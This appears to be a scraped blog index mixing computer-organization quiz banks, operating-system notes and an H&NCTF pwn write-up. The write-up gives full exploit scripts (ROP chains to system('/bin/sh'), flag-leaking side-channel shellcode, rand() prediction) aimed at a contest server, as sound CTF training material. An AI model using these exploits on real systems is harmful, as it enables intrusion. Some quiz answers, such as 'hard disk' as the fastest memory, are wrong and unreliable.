RTN statement that follows?\nPC ← X\nJump X A computer bus consists of data lines, __________, control lines, and power lines.\naddress lines Accumulator architectures store one operand on the stack and the other in the accumulator.\nFalse If a system\u0026rsquo;s instruction set consists of a 5-bit opcode, what is the maximum number of output signal lines required for the control unit?\n32 Which of the following is placed into the symbol table during the first pass?\nlabels Suppose a system has a byte-addressable memory size of 4GB. How many bits are required for each address?\n32 Consider the postfix expression: A-B+C**(D**E-F)/(G+H*K). The equivalent postfix (reverse Polish notation) expression is:\nAB-CDEF-+GHK*+/. If, after fetching a value from memory, we discover that the system has returned only half of the bits that we expected; it is likely that we have a problem with: 如果在从内存中获取一个值之后，我们发现系统只返回了我们预期一半的位数，那么很可能是存在\nbyte alignment. 字节对齐问题 General-purpose register architectures are the most widely accepted models for computers today. 通用寄存器架构是当今计算机最广泛接受的模型\nTrue Fixed-length instructions always have the same number of operands 定长指令总是具有相同数量的操作数\nFalse Instruction sets are differentiated by which feature? 指令集通过以下哪个特征进行区分？\nOperand storage Number of operands Operand location Operations The best architecture for evaluating postfix notation is the stack-based architecture 评估后缀表示法的最佳架构是基于堆栈的架构\nTrue Variable-length instructions are easier to decode than fixed-length instructions. 可变长指令比定长指令更容易解码。\nFalse A fixed-length instruction must have fixed-length opcodes. 定长指令必须具有定长的操作码\nFalse The ________ of a machine specifies the instructions that the computer can perform and the format for each instruction. 机器的____指定了计算机可以执行的指令以及每条指令的格式。\ninstruction set architecture The _______ connects the CPU to memory.\nsystem bus Suppose that a system uses 16-bit memory words and its memory is built from 32 1M × 8 RAM chips. How many address bits are required to uniquely identify each memory word?\n24 Suppose a computer\u0026rsquo;s control unit consists of a 4-bit counter and a 4 × 16 decoder. What is the maximum number of clock cycles that can be consumed by any instruction? 假设一台计算机的控制单元由一个4位计数器和一个4×16的解码器组成。任何指令最多可以消耗的时钟周期数是多少？\n16 Consider the infix expression: 16/(5+3). The equivalent postfix (reverse Polish notation) expression is:\n16 5 3 + / Clock skew is a problem for: 时钟偏斜是以下哪种总线的问题\nsynchronous buses.同步总线 A Very Long Instruction Word (VLIW) is an architectural characteristic in which each instruction can specify multiple scalar operations. 超长指令字（VLIW）是一种体系结构特性，其中每条指令可以指定多个标量操作\nTrue Memory organization has no effect on instruction format 存储器组织对指令格式没有影响\nFalse The three basic ISA architectures for internal storage in the CPU are:\nstack, accumulator, and general-purpose registers. Suppose we have a 4096 byte byte-addressable memory that is 64-way high-order interleaved, what is the size of the memory address module offset field?\n10 bits In order to pass parameters to subprograms, a(n) ___ must be implemented to support the ISA. 为了向子程序传递参数，必须实现一个（n）___ 来支持ISA\nstack Big endian computers store a two-byte integer with the least significant byte at the lower address. 大端模式计算机将双字节整数的最低有效字节存储在较低的地址\nFalse A stack-organized computer uses ___ addressing. 堆栈式计算机使用___寻址\nzero-address A \u0026ldquo;jump\u0026rdquo; statement is an example of a(n) ____________ instruction.\ntransfer of control 控制传输 Assembly language:\nuses alphabetic (mnemonic) codes in place of binary strings. 使用字母（助记符）代码代替二进制字符串。 ","date":"2025-06-27","draft":false,"permalink":"/posts/%E9%A2%98%E5%BA%93-ch4/","section":"计算机组成","summary":"General-purpose architectures are divided into the following three groups: memory-memory, register-memory…","tags":[],"title":"题库 CH4"},{"content":"The purpose of a TLB is ___.\nto cache page table entries 缓存页表项 Direct mapping is set associative mapping with a set size of 1. 直接映射是组相联映射，其组大小为1\nTrue The basic difference between RAM and ROM memory is:\nRAM is read/write while ROM Is read only. A major advantage of direct mapped cache is its simplicity and ease of implementation. The main disadvantage of direct mapped cache is: 直接映射缓存的一个主要优点是其简单性和易于实现。直接映射缓存的主要缺点是\nits performance is degraded if two or more blocks that map to the same location are used alternately.如果映射到同一位置的两个或多个块交替使用，其性能会降低 Which of the following types of memory has the shortest (fastest) access time? 以下哪种类型的存储器具有最短（最快）的访问时间？\nRegisters Caching breaks down when programs exhibit good locality. 当程序表现出良好的局部性时，缓存就会失效\nFalse When a computer uses paging, there must be a page table for every process. 当计算机使用分页时，每个进程都必须有一个页表\nTrue Information can be retrieved fastest from: 信息可以从以下哪个地方最快检索\nhard disk. A unified cache is a cache that holds both data and instructions 统一缓存是同时保存数据和指令的缓存\nTrue Memory segmentation can result in _______ fragmentation, while paging can result in _ fragmentation. 内存分段可能导致___ 碎片化，而分页可能导致_碎片化\nexternal, internal Cache mapping is necessary because:\nthe address generated by the CPU must be converted to a cache location.CPU生成的地址必须转换为缓存位置 Which of the following types of memory has the longest (slowest) access time? 以下哪种类型的存储器具有最长（最慢）的访问时间\nSecondary memory- 二级存储器 If a cache access requires one clock cycle and dealing with cache misses requires an additional five clock cycles, which of the following cache hit rates results in an effective access time of 2 clock cycles? 如果缓存访问需要一个时钟周期，并且处理缓存未命中需要额外的五个时钟周期，以下哪种缓存命中率会导致有效访问时间为2个时钟周期？\n80% Cache replacement policies are necessary: 缓存替换策略是必要的\nto determine which block in cache should be the victim block.以确定缓存中哪个块应该是被替换的块 Cache memory is effective because of\nthe principle of locality. 局部性原理 The tag field of a main memory address is used to determine: 主存地址的标记字段用于确定：\nif the cache entry is the desired block.缓存条目是否是所需的块 _________ is EEPROM that can be written and erased in blocks.\nFlash memory What characteristic of RAM makes it unsuitable for permanent storage? RAM的什么特性使其不适合永久存储？\nVolatile 易失性 Cache memory is typically positioned between:\nthe CPU and RAM. ","date":"2025-06-27","draft":false,"permalink":"/posts/%E9%A2%98%E5%BA%93-ch5/","section":"计算机组成","summary":"The purpose of a TLB is . to cache page table entries 缓存页表项 Direct mapping is set associative mapping wit…","tags":[],"title":"题库 CH5"},{"content":"__ is an approach to I/O control in which I/O devices and main memory share the same address space. _ 是一种I/O控制方法，其中I/O设备和主存共享相同的地址空间\nMemory-mapped I/O - 内存映射I/O Lineal spaces between the pits in a CD-ROM are called: CD-ROM上凹坑之间的线性空间称为\nlands. 平坦区 Superscalar computers are architectures that exhibit parallelism through _ and _.\npipelining, replication ","date":"2025-06-27","draft":false,"permalink":"/posts/%E9%A2%98%E5%BA%93-ch6/","section":"计算机组成","summary":"is an approach to I/O control in which I/O devices and main memory share the same address space. 是一种I/O控制…","tags":[],"title":"题库 CH6"},{"content":"Stack Pivoting 有0x10的溢出空间，问题在于如何只利用一次溢出，迁移栈的同时读入ROPchain\n通过返回到特定函数中的read部分能够做到这一点，后续随便打\nexp:\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) binary_path = \u0026#39;./attachment\u0026#39; gdb_script = \u0026#34;b *0x4011CD\\n\u0026#34; gdb_script += \u0026#34;\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;27.25.151.198\u0026#34; port = 37224 global io, gdb_io elf = ELF(binary_path) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) def connect(isLocal, isGDB, isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid, gdb_io) = gdb.attach(io, gdb_script, api=True) return io, gdb_io else: io = gdb.debug(binary_path, gdb_script) return io else: io = process(binary_path) return io def attack(io): leave_ret = 0x4011CE pop_rdi = 0x401263 ret = 0x40101a func = 0x40119F rbp = 0x404800 #第一次设置为0x404500，会在执行过程中下降到0x403fxx左右，导致内存错 误 puts_got = elf.got[\u0026#39;puts\u0026#39;] puts_plt = elf.plt[\u0026#39;puts\u0026#39;] payload = cyclic(0x40) + p64(rbp) + p64(0x4011B7) io.sendafter(\u0026#34;can you did ?\u0026#34;, payload) payload = cyclic(0x48) + p64(func) io.send(payload) rops = [ p64(pop_rdi), # pop rdi; ret p64(puts_got), # puts got p64(puts_plt), # puts plt p64(func), # ret to func ] payload = flat(rops).ljust(0x40, b\u0026#39;\\x00\u0026#39;) + p64(0x4047c0) + p64(leave_ret) io.sendafter(\u0026#34;can you did ?\\n\u0026#34;, payload) puts_addr = u64(io.recv(6).ljust(0x8, b\u0026#34;\\x00\u0026#34;)) log.info(\u0026#34;puts addr: \u0026#34; + hex(puts_addr)) libc_base = puts_addr - libc.symbols[\u0026#39;puts\u0026#39;] log.info(\u0026#34;libc base: \u0026#34; + hex(libc_base)) system_addr = libc_base + libc.symbols[\u0026#39;system\u0026#39;] binsh_addr = libc_base + libc.search(b\u0026#34;/bin/sh\u0026#34;).__next__() log.info(\u0026#34;system addr: \u0026#34; + hex(system_addr)) log.info(\u0026#34;binsh addr: \u0026#34; + hex(binsh_addr)) rops = [ p64(pop_rdi), # pop rdi; ret p64(binsh_addr), p64(system_addr), # system(\u0026#34;/bin/sh\u0026#34;) ] payload = flat(rops).ljust(0x40, b\u0026#39;\\x00\u0026#39;) + p64(0x4047a0-8) + p64(leave_ret) io.sendline(payload) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: io = connect(False, True, False) attack(io) shellcode LitCTF做过几乎一模一样的原题，区别在于那道题只允许了open、read调用，因此只能打侧信道爆破。而这道题虽然禁用了write、sendfile，但允许writev调用，也是可以不打侧信道爆破的。\n为了方便我直接拿LitCTF的脚本改改上去打了\nexp：\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) binary_path = \u0026#39;./pwn\u0026#39; domain = \u0026#34;27.25.151.198\u0026#34; port = 43787 def attack(): def exp(dis, char): shellcode = \u0026#39;\u0026#39;\u0026#39; mov r10, rax add r10, 0xf8 mov rax, 2 mov rdi, r10 xor rsi, rsi xor rdx, rdx syscall xor rax, rax mov rdi, 3 sub r10, 0x88 mov rsi, r10 mov rdx, 0x30 syscall mov dl, byte ptr [rsi+{}] mov cl, {} cmp cl,dl jz loop mov al,60 syscall loop: jmp loop \u0026#39;\u0026#39;\u0026#39;.format(dis,char) shellcode = asm(shellcode) shellcode = shellcode.ljust(0x100-8, b\u0026#39;\\x90\u0026#39;) shellcode += b\u0026#39;./flag\\x00\\x00\u0026#39; io.recvuntil(b\u0026#34;Enter your command: \u0026#34;) io.sendline(shellcode) flag = \u0026#34;\u0026#34; chars = list(range(0x30, 0x3a)) + list(range(0x60, 0x7e)) print(\u0026#34;start!\u0026#34;) for i in range(33,60): print(\u0026#34;flag:\u0026#34;+flag) for j in chars: io = remote(domain, port) try: print(\u0026#34;pos: {}, char: {}\u0026#34;.format(i, chr(j))) exp(i,j) io.recvline(timeout=10) flag += chr(j) io.send(\u0026#39;\\n\u0026#39;) log.success(\u0026#34;{} pos : {} success\u0026#34;.format(i,chr(j))) io.close() break except: io.close() if __name__ == \u0026#39;__main__\u0026#39;: attack() flag{ced59a09-66d7-4eeb-a77f-eedc77ea2600}\nPDD 伪随机数预测 题目：\nint __fastcall main(int argc, const char **argv, const char **envp) { int v4; // [rsp+8h] [rbp-18h] BYREF int v5; // [rsp+Ch] [rbp-14h] unsigned int v6; // [rsp+10h] [rbp-10h] unsigned int seed; // [rsp+14h] [rbp-Ch] int j; // [rsp+18h] [rbp-8h] int i; // [rsp+1Ch] [rbp-4h] init(argc, argv, envp); seed = time(0LL); v6 = 8; srand(seed); v5 = rand(); srand(v5 % 5 - 0x2A20B9D); puts(\u0026amp;byte_402023); // 你以前打过ctf吗 puts(\u0026amp;byte_402040); // 现在只需要5次助力就能获得flag puts(\u0026#34;game1 begin\\n\u0026#34;); for ( i = 1; i \u0026lt;= 55; ++i ) { puts(\u0026#34;good!\u0026#34;); __isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v4); if ( rand() % 4 + 1 != v4 ) { puts(\u0026#34;Your flag has been stolen by a mouse.\u0026#34;); return 0; } } puts( \u0026#34;Congratulations! Since you have participated in the CTF competitions multiple times, the difficulty level has now dr\u0026#34; \u0026#34;opped directly to the easiest.\\n\u0026#34;); puts(\u0026#34;You have outperformed over 99.99% of the contestants.\\n\u0026#34;); puts(\u0026#34;Your friend \u0026#39;Genshin Impact Start\u0026#39; has obtained the flag through assistance. You\u0026#39;ll be the next one.\\n\u0026#34;); puts(\u0026#34;You only need one more boost to get the flag.\\n\u0026#34;); puts(\u0026#34;game2 begin\\n\u0026#34;); srand(v6); for ( j = 1; j \u0026lt;= 55; ++j ) { puts(\u0026#34;good!\u0026#34;); __isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v4); if ( rand() % 4 + 8 != v4 ) { puts(\u0026#34;Your flag has been stolen by a mouse.\\n\u0026#34;); return 0; } } puts(\u0026#34;You\u0026#39;ve collected the last piece of the puzzle. Now you just need to invite one more new user to get the flag.\\n\u0026#34;); func(); return 0; } 基于time(0LL)的随机数预测 基于srand(常数)的随机数预测 针对前者，编写poc：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;time.h\u0026gt; int random_number() { unsigned int seed = time(0LL); srand(seed); int v5 = rand(); srand(v5 % 5 - 0x2a20b9d); for (int i = 1; i \u0026lt;= 55; ++i) { int num = rand(); printf(\u0026#34;%d\\n\u0026#34;, num%4+1); } } int main() { random_number(); return 0; } 针对后者，编写poc：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;time.h\u0026gt; int random_number() { int v6 = 8; srand(v6); for (int i = 1; i \u0026lt;= 55; ++i) { int num = rand(); printf(\u0026#34;%d\\n\u0026#34;, num%4+8); } } int main() { random_number(); return 0; } 将这两个poc与目标程序同时运行，接收poc的随机数输出并输入到目标程序中\n最终exp：\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) binary_path = \u0026#39;./attachment\u0026#39; gdb_script = \u0026#34;b *0x40132D\\n\u0026#34; gdb_script += \u0026#34;b *0x40134D\\n\u0026#34; gdb_script += \u0026#34;b *0x4013FE\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;27.25.151.198\u0026#34; port = 33887 global io, gdb_io elf = ELF(binary_path) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) def connect(isLocal, isGDB, isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid, gdb_io) = gdb.attach(io, gdb_script, api=True) return io, gdb_io else: io = gdb.debug(binary_path, gdb_script) return io else: io = process(binary_path) return io def attack(io): poc1 = process(\u0026#34;./poc1\u0026#34;) for i in range(55): number = int(poc1.recvline()) io.sendlineafter(b\u0026#34;good!\u0026#34;,str(number)) poc2 = process(\u0026#34;./poc2\u0026#34;) for i in range(55): number = int(poc2.recvline()) io.sendlineafter(b\u0026#34;good!\u0026#34;,str(number)) puts_plt = elf.plt[\u0026#39;puts\u0026#39;] puts_got = elf.got[\u0026#39;puts\u0026#39;] ret_addr = elf.symbols[\u0026#39;func\u0026#39;] pop_rdi = 0x401483 ret = 0x40101a payload = cyclic(0x38) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr) io.sendlineafter(b\u0026#34;Congratulations young man.\\n\u0026#34;, payload) puts_addr = u64(io.recv(6).ljust(8, b\u0026#39;\\x00\u0026#39;)) log.success(f\u0026#39;puts_addr: {hex(puts_addr)}\u0026#39;) libc_base = puts_addr - libc.symbols[\u0026#39;puts\u0026#39;] log.success(f\u0026#39;libc_base: {hex(libc_base)}\u0026#39;) system_addr = libc_base + libc.symbols[\u0026#39;system\u0026#39;] bin_sh_addr = libc_base + next(libc.search(b\u0026#39;/bin/sh\u0026#39;)) log.success(f\u0026#39;system_addr: {hex(system_addr)}\u0026#39;) payload = cyclic(0x38) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(system_addr) io.sendlineafter(b\u0026#34;Congratulations young man.\\n\u0026#34;, payload) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: io = connect(False, True, False) #需要尝试多次因为time()可能因为python性能原因有一定的输出结果差异 while(True): try: attack(io) break except EOFError: log.info(\u0026#34;EOFError, retrying...\u0026#34;) io = connect(False, True, False) except Exception as e: log.error(f\u0026#34;An error occurred: {e}\u0026#34;) break 三步走战略 exp:\nfrom pwn import * context(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;, log_level=\u0026#39;debug\u0026#39;) binary_path = \u0026#39;./vuln\u0026#39; gdb_script = \u0026#34;b *0x401414\\n\u0026#34; gdb_script += \u0026#34;\\n\u0026#34; gdb_script += \u0026#34;c\\n\u0026#34; domain = \u0026#34;27.25.151.198\u0026#34; port = 34109 global io, gdb_io elf = ELF(binary_path) def connect(isLocal, isGDB, isIO): if not isLocal: io = remote(domain, port) return io elif isGDB: if isIO: io = process(binary_path) (pid, gdb_io) = gdb.attach(io, gdb_script, api=True) return io, gdb_io else: io = gdb.debug(binary_path, gdb_script) return io else: io = process(binary_path) return io def attack(io): io.send(b\u0026#34;\\x0a\u0026#34;) mmap = 0x1337000 orw=shellcraft.open(\u0026#39;./flag\u0026#39;) orw+=shellcraft.read(3,mmap+0x100,0x50) orw+=shellcraft.write(1,mmap+0x100,0x50) shellcode = asm(orw) io.sendlineafter(\u0026#34;Please speak\u0026#34;, shellcode) payload = cyclic(0x48) + p64(0x1337000) io.sendlineafter(\u0026#34;Do you have anything else to say?\u0026#34;, payload) io.interactive() if __name__ == \u0026#39;__main__\u0026#39;: io = connect(False, True, False) attack(io) 梦中情pwn 虽然是堆题，但是没给libc，也不知道libc版本\n","date":"2025-06-09","draft":false,"permalink":"/posts/h-nctf/","section":"CTF 复现","summary":"Stack Pivoting 有0x10的溢出空间，问题在于如何只利用一次溢出，迁移栈的同时读入ROPchain 通过返回到特定函数中的read部分能够做到这一点，后续随便打 exp: shellcode Li…","tags":[],"title":"H\u0026NCTF"},{"content":"","date":"2025-05-26","draft":false,"permalink":"/posts/%E9%A2%98%E5%BA%93-ch7/","section":"计算机组成","summary":"","tags":[],"title":"题库 CH7"},{"content":"操作系统的概念、功能 操作系统的概念（定义）：操作系统是指控制和管理整个计算机系统的硬件和软件资源，并合理地组织调度计算机的工作和资源的分配；以提供给用户和其他软件方便的接口和环境；它是计算机系统中最基本的系统软件\n操作系统是系统资源的管理者 提供的功能：cpu管理、存储器管理、文件管理、设备管理 目标：安全、高效 操作系统向上层提供方便易用的服务 封装的思想：上层不再需要关注底层硬件的细节 对上层提供的服务：GUI（Graphical User Interface）、CLI（Command-Line Interface）、API （Application Programming Interface 系统调用） 操作系统是最接近硬件的一层软件 能够实现对硬件机器的拓展：将CPU、内存、硬盘、显示器等硬件相互配合实现复杂功能 通常把覆盖了软件的机器称为扩充机器，又称之为虚拟机（？ 操作系统的特征 操作系统有四个最基本的特征：并发、共享、虚拟、异步\n并发与共享 并发与共享是两个最基本的特征，二者互为存在条件\n并发是指两个或多个事件在同一时间间隔内发生。这些事件在宏观上同时发生，在微观上交替发生。易与概念并行混淆：并行指两个或多个事件在同一时刻同时发生\n操作系统的并发性：系统中”同时运行“多个程序，这些程序宏观上看同时运行，但从微观上看交替运行\n操作系统就是伴随着”多道程序技术“而出现的，因此操作系统和程序并发是一起诞生的\n单核CPU同一时刻只能执行一个程序，各个程序只能并发执行 多核CPU同一时刻可以同时执行多个程序，多个程序可以并行执行 共享即资源共享，是指系统中的资源可供内存中多个并发执行的进程共同使用\n有两种资源共享方式：\n互斥共享方式：一个时间段内只允许一个进程访问该资源 同时共享方式：一个时间段内允许多个进程”同时“访问 所谓的”同时“往往是宏观上的，而在微观上这些进程可能交替地对该资源进行访问（即分时共享）\n如果失去并发性，则系统中只有一个程序正在运行，则共享性失去存在的意义 如果失去共享性，则进程无法同时共享一个资源，从而阻塞，也就无法并发 虚拟 虚拟是指把一个物理上的实体变为若干个逻辑上的对应物。物理实体是实际存在的，而逻辑对应物是用户感受到的\n空分复用技术 时分复用技术 如果失去并发性，则系统中只运行了一个进程，那么就失去了实现虚拟性的意义。因此没有并发性就谈不上虚拟性\n异步 异步是指在多道程序环境下，允许多个进程并发执行，但由于资源有限，进程的执行不是一贯到底，而是走走停停，以不可预知的速度向前推进，这就是异步\n如果失去了并发性，则系统只能串行运行各个程序，那么程序的执行就会一贯到底，从而失去异步性。\n操作系统的发展与分类 手工操作阶段 操作系统并未诞生，在纸带上打孔，对计算机利用效率极低\n主要缺点：用户独占全机、人机速度矛盾导致资源利用率极低\n批处理阶段 单道批处理系统：在该系统中引入脱机输入/输出技术（输入外围机，外围机将作业存储在磁带、磁带的读写速度比纸带快很多），并由监督程序负责控制作业的输入、输出\n缺点：内存中仅有一道程序运行，资源利用率依然很低\n多道批处理系统：操作系统正式诞生，用于支持多道程序并发运行\n优点：并发、共享。资源利用率大幅提升\n缺点：不关注人机交互，用户响应时间长，用户提交作业后无法干涉，只能等待\n分时操作系统 计算机以时间片为单位轮流为各个用户/作业服务，各个用户可通过终端与计算机进行交互\n优点：解决了人机交互问题，用户请求可被及时响应。允许多用户操作。\n缺点：对各个用户/作业完全公平，无法优先处理紧急任务。无调度\n实时操作系统 在实时操作系统的控制下，计算机系统收到外部信号后及时进行处理，并且要在严格的时限内处理完事件。主要特点是及时性与可靠性\n硬实时系统：必须在绝对严格的规定时间内完成处理（如导弹控制、自动驾驶） 软实时系统：能接受偶尔违反时间规定 优点：能够优先响应紧急任务，紧急任务不需要时间片排队\n其他操作系统 网络操作系统：实现网络中各种资源的共享和各个计算机之间的通信（如windows NT）\n分布式操作系统：主要特点是分布性和并行性，各台计算机地位相同，可以协同并行完成任务\n操作系统的运行机制 两种指令 特权指令/非特权指令\nkernel作为管理者，有时会让CPU执行一些特权指令，如内存清零指令。这些指令影响重大，只允许kernel使用\n应用程序只能使用非特权指令，如加减法指令等\n特权指令的设计和实现在CPU层面，CPU在执行前就能判断指令类型\n两种处理器状态 为了让CPU区分此时正在运行的是内核程序还是应用程序，CPU有两种状态：内核态、用户态\n处于内核态时，说明此时正在运行的是内核程序，此时可以执行特权指令\n处于用户态时，说明此时正在运行的是应用程序，此时只能执行非特权指令\n在CPU中有寄存器 程序状态字寄存器PSW， 其中有二进制位标识当前是内核态还是用户态\n内核态-\u0026gt;用户态：执行一条特权指令，修改PSW的标志位为用户态，操作系统主动让出CPU使用权 用户态-\u0026gt;内核态：由“中断”引发，硬件自动完成变态过程，意味着操作系统强行夺回CPU使用权 中断和异常 中断的作用 “中断”是操作系统kernel夺回CPU使用权的唯一途径。如果没有中断机制，一旦恶意应用程序在CPU上运行，就会独占全部时间，挤占kernel，无法实现并发\n中断的类型 内中断（也称异常）：与当前执行的指令有关，中断信号来源于CPU内部（执行非法指令、trap、） 外中断（狭义的中断）：与当前执行的指令无关，中断信号来源于CPU外部（时钟中断、IO中断请求） 异常分为三种： 1. trap 由陷入指令引发，是用户态程序故意引发的 2. fault 由错误条件引起，可被kernel修复，如缺页故障。kernel修复后会把cpu使用权还给用户态程序 3. abort 由致命错误引起，kernel无法修复，所以直接终止引发错误的程序。如整数除0和非法使用特权指令\n中断机制的基本原理 如何检查中断信号：\n内中断：cpu在执行指令时会检查是否有异常发生 外中断：每个指令周期末尾，cpu都会检查是否有外中断信号需要处理 不同的中断信号，需要用不同的中断处理程序来处理。当CPU检测到中断信号后，会根据中断信号的类型去查询中断向量表，以此来找到相应的中断处理程序在内存中的存放位置\n显然，中断处理程序是内核程序，需要运行在内核态\n系统调用 系统调用即kernel提供给用户态程序的API\n现代用户态编程一般在libc中使用系统调用，非系统级编程一般只需要包含libc库而不用直接使用系统调用\n系统调用可以按功能分类：\n设备管理：完成设备的 请求/释放/启动 等功能 文件管理： 完成文件的 读/写/创建/删除 等功能 进程控制： 完成进程的 创建/撤销/阻塞/唤醒 等功能 进程通信： 完成进程之间的 消息传递/信号传递 等功能 内存管理： 完成内存的 分配/回收 等功能 操作系统体系结构 宏内核 微内核 操作系统引导 Boot 主存由RAM与ROM组成，其中ROM中存储了Basic Input/Output System即BIOS，当计算机开机后，会主动访问ROM中的BIOS程序（硬件自检），其会指引CPU将硬盘中的主引导记录MBR加载到内存中，执行其中的程序\n该部分有待补充\n虚拟机 ","date":"2025-05-07","draft":false,"permalink":"/posts/ch1-%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%85%88%E5%AF%BC/","section":"操作系统","summary":"操作系统的概念、功能 操作系统的概念（定义）：操作系统是指控制和管理整个计算机系统的硬件和软件资源，并合理地组织调度计算机的工作和资源的分配；以提供给用户和其他软件方便的接口和环境；它是计算机系统中最基本的系统…","tags":[],"title":"CH1 操作系统先导"},{"content":"进程 Process 进程的概念 程序是静态的，是存放在硬盘中的可执行文件，是数据与指令的集合，是一个副本\n进程是动态的，是程序的一次执行过程，是一个实例\n同一个程序可以建立多个不同的进程，就像docker中镜像与容器的概念\n进程的组成——PCB 当进程被创建时，操作系统会为该进程分配一个唯一的PID (Process ID)\n操作系统要记录PID、进程所属用户ID(UID)，还要记录给进程分配的资源以及进程的运行情况等。所以需要PCB (Process Control Block) 进程控制块，该数据结构可以帮助操作系统维护进程的控制与调度\nPCB中维护了以下信息：\n进程描述信息：PID、UID 进程控制和管理信息：CPU、磁盘、网络流量使用、进程当前状态 资源分配清单：使用的文件、内存、IO设备 处理器相关信息：如PSW、PC等寄存器的值 以loOS为例，其PCB定义如下：\nstruct task_struct { int pid; // 进程编号 struct task_struct *parent; //父进程 struct list_head children; //子进程链表 // struct list_head sibling; //兄弟进程链表 enum proc_state state; // 进程状态 enum alloc_state allocs; // 进程分配状态 struct context *context; // struct trapframe *trapframe; struct fdtable * fdtable; // 文件描述符表 uint64_t bss; // bss 段长度 char name[32]; // 进程名 char cwd[256]; // 进程目录 pagetable_t pgtbl; // 进程页表 void *mapping_list; // 进程映射列表 void (*callback)(int); // 进程 signal 回调函数 uint64_t timer_call_time; // SIGALRM 定时器 struct list_head tasks; int exit_code; // the exit code of this process }; 当进程创建时，操作系统会为其创建PCB。当进程结束时，会回收其PCB\n进程是进程实体的运行过程，是系统进行资源分配和调度的一个独立单位\nPCB是进程存在的唯一标志\n进程的特征 动态性（最基本特征） 进程是程序的一次执行过程，是动态地产生、变化和消亡的 并发性 内存中有多个进程实体，各进程可并发执行 独立性 进程是能独立运行、独立获得资源、独立接受调度的基本单位 异步性 各进程按照各自独立的、不可预知的速度向前推进，操作系统要提供“进程同步机制”来解决异步问题 结构性 每个进程都会配置一个PCB。结构上看，进程由程序段、数据段、PCB组成 进程的状态与转换 进程也可以看作一个状态机\n创建态（new）： 进程正在被创建时，其状态为创建态，操作系统会为其分配资源，初始化PCB 就绪态（ready）： 处于就绪态的进程已经具备运行条件，但是由于没有空闲CPU，暂时不能运行 系统中可能会有许多进程处于就绪态，当CPU空闲时，操作系统就会选择一个就绪进程，让它占用CPU运行\n运行态（running）： 正在CPU上运行 阻塞态（wait）： 由于某种阻塞，进程无法继续往下执行 终止态（exit）： 进程运行结束，或运行过程中遇到不可修复的错误。操作系统会让该进程下CPU，并收回资源，最后回收PCB 进程的五态模型：\n从running -\u0026gt; wait是进程自身做出的主动行为\n从wait -\u0026gt; ready不是进程能够控制的，是一种被动行为\n不能直接由ready -\u0026gt; wait，也不能直接由wait -\u0026gt; running，因为进入wait是进程主动请求的，必然需要进程在运行时才能发出这种请求\n进程的生命周期中，大部分时间都处于三种基本状态\n单CPU下，同一时刻只有一个进程处于运行态；而多核CPU下，可能有多个进程处于运行态\n进程控制 进程控制 —— 对系统中的所有进程实施有效的管理。\n创建新进程 撤销已有进程 实现进程状态转换 如何实现进程控制：原语 原语——其执行具有原子性，不可被中断\n在对进程进行状态转换的过程中，中间步骤不能被打断，否则会导致关键数据结构状态不一致。所以必须使用原语\n原语如何实现原子性 关键在于两个指令——“关中断指令”与“开中断指令”\n关中断指令：关闭中断 开中断指令：开启中断 将临界区的指令包含在这两个指令间，保证关键指令的执行过程中不会受到中断的影响\n这两个指令是特权指令，只允许内核程序使用\n创建进程 操作系统会使用创建原语，主要做了以下事情：\n申请空白PCB 为新进程分配所需资源——如内存空间 初始化PCB——分配pid、uid等 将PCB插入就绪队列——创建态-\u0026gt;就绪态 引起进程创建的事件：\n用户登录 分时系统中，用户登陆成功，系统会为其建立一个新的进程 作业调度 多道批处理系统中，有新的作业放入内存时，会为其建立一个新的进程 提供服务 用户向操作系统提出某些请求时，会新建一个进程处理该请求 应用请求 由用户进程主动请求创建一个子进程 终止进程 操作系统会使用终止原语，主要做了以下事情：\n从PCB集合中找到终止进程的PCB 若进程正在运行，立即剥夺CPU，将CPU分配给其他进程 递归终止其所有子进程 将该进程拥有的所有资源归还给父进程或操作系统 删除PCB 引起进程终止的事件：\n正常结束 进程自己请求中止——exit系统调用 异常结束 出现无法修复的异常 外界干预 用户选择杀死进程 进程的阻塞和唤醒 运行态-\u0026gt;阻塞态：阻塞原语\n找到要阻塞的进程对应的PCB 保护进程运行上下文，将PCB状态设置为阻塞态，暂停进程运行 将PCB插入相应事件的等待队列 进程唤醒：唤醒原语\n在事件等待队列中找到PCB 将PCB从等待队列移除，设置为就绪态 将PCB插入就绪队列，等待被调度 调度进程，就绪态与运行态的切换 切换原语：\n将上下文存入PCB PCB移入相应队列 选择另一个进程执行，并更新其PCB 根据PCB恢复新进程的运行环境 进程通信 进程间通信，即两个进程之间产生数据交互\n由于虚拟地址空间存在，各进程间无法互相访问对应的地址空间\n进程通信的三种方式：\n共享存储 消息传递 管道通信 共享存储 申请一片独立于进程A与进程B的地址空间，作为共享存储区。进程A先将数据写入该区，进程B再从中读取数据，从而实现进程间通信\nLinux中通过shm_open()系统调用，申请一片共享内存区。再通过mmap()系统调用，将共享内存区映射到进程自己的内存空间\n为避免出错，各个进程对共享空间的访问应该是互斥的。各个进程可使用操作系统内核提供的同步互斥工具。\n基于存储区的共享 操作系统直接划出一块共享区。这种共享方式很快，数据的形式与存储位置都可以由通信进程控制（而不是操作系统），是一种高级通信方式。 基于数据结构的共享 